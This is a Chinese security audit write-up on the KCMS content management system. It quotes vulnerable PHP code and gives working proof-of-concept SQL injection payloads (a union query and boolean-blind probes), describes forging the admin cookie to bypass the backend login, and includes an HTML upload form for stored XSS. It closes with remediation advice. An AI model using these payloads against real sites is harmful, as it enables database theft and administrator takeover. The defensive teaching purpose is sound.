某KCMS审计小结
字数 1138 2025-08-29 08:31:35

KCMS系统安全审计教学文档

0x00 系统概述

KCMS是一个内容管理系统,本次审计发现了多个安全漏洞,包括SQL注入、逻辑缺陷和XSS漏洞。这些漏洞主要源于全局过滤不完善、特定函数使用不当以及后台验证逻辑问题。

0x01 全局过滤机制分析

文件路径: /system/library.php

过滤实现

系统使用addslashes_deep函数对输入数据进行转义处理:

if (!get_magic_quotes_gpc()) {
    if (!empty($_GET)) {
        $_GET = addslashes_deep($_GET);
    }
    if (!empty($_POST)) {
        $_POST = addslashes_deep($_POST);
    }
    $_COOKIE = addslashes_deep($_COOKIE);
    $_REQUEST = addslashes_deep($_REQUEST);
}

function addslashes_deep($_var_0) {
    if (empty($_var_0)) {
        return $_var_0;
    } else {
        return is_array($_var_0) ? array_map('addslashes_deep', $_var_0) : addslashes($_var_0);
    }
}

关键点

  1. 使用addslashes函数对$_GET$_POST$_COOKIE$_REQUEST进行转义
  2. 递归处理数组输入
  3. 仅在magic_quotes_gpc未启用时执行过滤

0x02 前台SQL注入漏洞(1)

文件路径: /ucenter/active.php

漏洞成因

$_GET['verify']经过stripslashes函数处理,移除了addslashes添加的反斜杠:

$verify = stripslashes(trim($_GET['verify']));
$nowtime = time();
$query = mysqli_query($conn,"select u_id from mkcms_user where u_question='$verify'");
$row = mysqli_fetch_array($query);

利用方式

  1. 直接构造恶意输入,绕过转义
  2. 存在回显,可使用联合查询注入

POC:

1' union select version()%23

0x03 前台SQL注入漏洞(2)

文件路径: /ucenter/reg.php

漏洞成因

与0x02类似,stripslashes移除了转义字符:

$username = stripslashes(trim($_POST['name']));
$query = mysqli_query($conn,"select u_id from mkcms_user where u_name='$username'");

利用方式

  1. 无回显,需使用布尔盲注
  2. 通过不同响应判断注入结果

验证方式:

  • 为真时提示"用户名已存在":

    submit=1&name=x'or length(user())>1 %23
    
  • 为假时提示"邮箱已存在":

    submit=1&name=x'or length(user())>100 %23
    

0x04 后台登录逻辑缺陷

文件路径: admin/cms_check.php

漏洞详情

后台验证仅检查cookie中的用户名和密码:

$result = mysqli_query($conn,'select * from mkcms_manager where m_name = "'.$_COOKIE['admin_name'].'" and m_password = "'.$_COOKIE['admin_password']);
if (!$row = mysqli_fetch_array($result)) {
    alert_href('请重新登录','cms_login.php');
};

利用方式

  1. 通过注入获取管理员凭证后伪造cookie
  2. 直接暴力破解(无视验证码限制)

0x05 KindEditor文件上传XSS

路径: /editor/php/upload_json.php?dir=file

漏洞详情

可上传HTML文件导致存储型XSS

利用方式

  1. 构造恶意HTML表单上传文件

示例攻击代码:

<html>
<head></head>
<body>
<form name="form" enctype="multipart/form-data" method="post" action="http://xxxxx.com/editor/php/upload_json.php?dir=file">
<input type="file" name="imgFile" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

0x06 修复建议

  1. SQL注入:

    • 移除不必要的stripslashes调用
    • 使用预处理语句替代字符串拼接
    • 统一输入过滤策略
  2. 后台验证:

    • 实现完善的会话管理
    • 使用服务端session而非cookie存储验证状态
    • 添加验证码保护
  3. 文件上传:

    • 严格限制上传文件类型
    • 对HTML文件进行特殊处理或禁止上传
    • 设置文件内容检查机制
  4. 全局过滤:

    • 考虑使用更现代的过滤方式如PDO预处理
    • 确保过滤策略一致且不可绕过

0x07 总结

本次审计揭示了KCMS系统中存在的多个高危漏洞,攻击者可利用这些漏洞进行SQL注入获取数据库信息、绕过后台认证、实施XSS攻击等。开发人员应重视输入验证、输出编码和身份验证机制的安全性,避免类似问题的发生。

KCMS系统安全审计教学文档 0x00 系统概述 KCMS是一个内容管理系统,本次审计发现了多个安全漏洞,包括SQL注入、逻辑缺陷和XSS漏洞。这些漏洞主要源于全局过滤不完善、特定函数使用不当以及后台验证逻辑问题。 0x01 全局过滤机制分析 文件路径 : /system/library.php 过滤实现 系统使用 addslashes_deep 函数对输入数据进行转义处理: 关键点 使用 addslashes 函数对 $_GET 、 $_POST 、 $_COOKIE 和 $_REQUEST 进行转义 递归处理数组输入 仅在 magic_quotes_gpc 未启用时执行过滤 0x02 前台SQL注入漏洞(1) 文件路径 : /ucenter/active.php 漏洞成因 $_GET['verify'] 经过 stripslashes 函数处理,移除了 addslashes 添加的反斜杠: 利用方式 直接构造恶意输入,绕过转义 存在回显,可使用联合查询注入 POC : 0x03 前台SQL注入漏洞(2) 文件路径 : /ucenter/reg.php 漏洞成因 与0x02类似, stripslashes 移除了转义字符: 利用方式 无回显,需使用布尔盲注 通过不同响应判断注入结果 验证方式 : 为真时提示"用户名已存在": 为假时提示"邮箱已存在": 0x04 后台登录逻辑缺陷 文件路径 : admin/cms_check.php 漏洞详情 后台验证仅检查cookie中的用户名和密码: 利用方式 通过注入获取管理员凭证后伪造cookie 直接暴力破解(无视验证码限制) 0x05 KindEditor文件上传XSS 路径 : /editor/php/upload_json.php?dir=file 漏洞详情 可上传HTML文件导致存储型XSS 利用方式 构造恶意HTML表单上传文件 示例攻击代码 : 0x06 修复建议 SQL注入 : 移除不必要的 stripslashes 调用 使用预处理语句替代字符串拼接 统一输入过滤策略 后台验证 : 实现完善的会话管理 使用服务端session而非cookie存储验证状态 添加验证码保护 文件上传 : 严格限制上传文件类型 对HTML文件进行特殊处理或禁止上传 设置文件内容检查机制 全局过滤 : 考虑使用更现代的过滤方式如PDO预处理 确保过滤策略一致且不可绕过 0x07 总结 本次审计揭示了KCMS系统中存在的多个高危漏洞,攻击者可利用这些漏洞进行SQL注入获取数据库信息、绕过后台认证、实施XSS攻击等。开发人员应重视输入验证、输出编码和身份验证机制的安全性,避免类似问题的发生。